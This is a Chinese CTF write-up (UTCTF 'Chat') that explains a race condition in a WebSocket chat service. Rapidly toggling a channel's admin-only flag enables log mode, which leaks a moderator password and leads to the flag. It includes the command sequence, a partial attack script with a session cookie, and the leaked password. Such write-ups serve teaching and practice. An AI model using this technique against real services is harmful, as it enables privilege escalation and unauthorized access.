当前位置: 首页 > news >正文

WebSocket 中的条件竞争漏洞 -- UTCTF Chat

我们先按照题目使用 /help

Help:
/help               显示此帮助信息
/msg [text]              在当前频道发送消息
/nick [name]            更改你的用户名
/list                   列出可用的频道
/join [channel]         切换到不同的频道
/channel                显示当前频道的信息
/users                  列出当前频道的用户
/user [id]              显示指定用户的信息
/create [channel]       创建一个新频道
/delete [channel]       删除一个频道
/set [prop] [value]     配置频道或用户
/announce [msg]         向所有频道发送消息
/kick [id]              踢出一个用户
/ban [id]               封禁一个用户
/login [password]       以管理员或版主身份登录。(CTF注意:请勿暴力破解。)

你可以使用你自己的id查看你的属性

User '34j74mktxullj':
- name: test
- privileges: Privileges(CHANNEL_CREATE | CHANNEL_DELETE | MESSAGE_SEND | CHANNEL_MODIFY)
- created: 2025-03-19T08:51:00Z[Etc/Unknown]
- banned: N/A
- style: "& .username { color: var(--palette-8); &::before, &::after { color: var(--fg) } }"

这看起来是一个yml,如果你创建一个频道,他同样拥有一个yml

Channel 'test':
- description: 
- slowmode: 0.05
- hidden: false
- immutable: false
- owner: 34j74mktxullj
- current users: 1
- admin-only: false
- mod-only: false
- mode: normal

接下来尝试 /set 的用法,根据返回我们能推断可修改的属性

Available property groups: channel, user
Available channel properties: .description, .slowmode, .hidden, .immutable, .owner, .admin-only, .mode
Available user properties: .name, .style

这里可以修改 admin-only, 这似乎不太正常
同时,mode必须在启用channel.admin-only true时才能更改

/create test
/join test

/set channel.hidden true
/set channel.admin-only true
/set channel.mode log
/set channel.admin-only false

我们来编写脚本尝试条件竞争

from codes.WebAttack import *  
from codes.WebSockteAttack import *  
from codes.InjectTools import *  
  
  
io = WebSocketAttack("""  
GET /socket HTTP/1.1  
Host: challenge.utctf.live:5213  
Connection: Upgrade  
Pragma: no-cache  
Cache-Control: no-cache  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Upgrade: websocket  
Origin: http://challenge.utctf.live:5213  
Sec-WebSocket-Version: 13  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: web-chat-userid=pXbESyRcvOtONlf9Fm3SateOLeIT39KC40kRdJzsJTH4UHmTt%2F23zlwUvLhF15dt  
Sec-WebSocket-Key: hagiUDm4gS07xdPj8vUYFw==  
  
  
""")  
  
io.fast_send("""  
/create test11  
/join test11  
/set channel.hidden true  
/set channel.admin-only true  
/set channel.mode log  
/set channel.admin-only false
""")

具体实现就不放了,还是自己实现一下比较好,多试几次我们能看到test11被创建了,进去后会返回log,题目作者为了防止别人进你房间拿现成的, .hidden true 才能启用log

等会就能看见密码

/log 0000moderator general /join 0000moderator moderator
/log 0000moderator general /login unbroken-sandpit-scant-unmixable
/login unbroken-sandpit-scant-unmixable
/join mod-info
/channel

得到flag

http://www.dtcms.com/a/78023.html

相关文章:

  • 掌握XXL-JOB:快速搭建高效任务调度系统
  • 【Linux】基于阻塞队列和循环队列的生产者消费者模型
  • 深入理解 TypeScript 中的迭代器(Iterators)与生成器(Generators)
  • 使用Java爬虫根据关键词获取Shopee商品列表?
  • Matrix-breakout-2-morpheus靶机实战攻略
  • Dify - 配置 vllm 模型
  • MySQL数据库入门到大蛇尚硅谷宋红康老师笔记 高级篇 part 9
  • 校园论坛系统Selenium自动化测试
  • 程序化广告行业(28/89):基于用户旅程的广告策略解析
  • 差分 异或
  • 网络编程之客户端聊天(服务器加客户端共三种方式)
  • 智能家居安全革命:代理IP如何守护物联网世界
  • Elasticsearch:使用 ColPali 进行复杂文档搜索 - 第 1 部分 - 8.18
  • 穿越禁区:前端跨域通信的艺术与实践
  • Deployment声明式更新与应用式更新对比
  • Weblogic未授权远程命令执行漏洞复现
  • string(1):
  • 基于pycatia的CATIA装配体STP批量导出技术解析与优化指南
  • 分治-快速排序系列一>快速排序
  • VMWare:解决Linux虚拟机找不到共享文件夹
  • Java单元测试、Junit、断言、单元测试常见注解、单元测试Maven依赖范围、Maven常见问题解决方法
  • ubuntu高并发内核参数调优 - (压测客户端调优)
  • 【面试场景题-Redis中String类型和map类型的区别】
  • 蓝桥杯练习day2:执行操作后的变化量
  • 如何判断 MSF 的 Payload 是 Staged 还是 Stageless(含 Meterpreter 与普通 Shell 对比)
  • MySQL:数据库基础
  • 解决虚拟机网络问题
  • 【论文笔记】VGGT-从2D感知3D:pose估计+稠密重建+点跟踪
  • 爬虫基础之爬取猫眼Top100 可视化
  • 程序化广告行业(29/89):人群策略在广告投放中的应用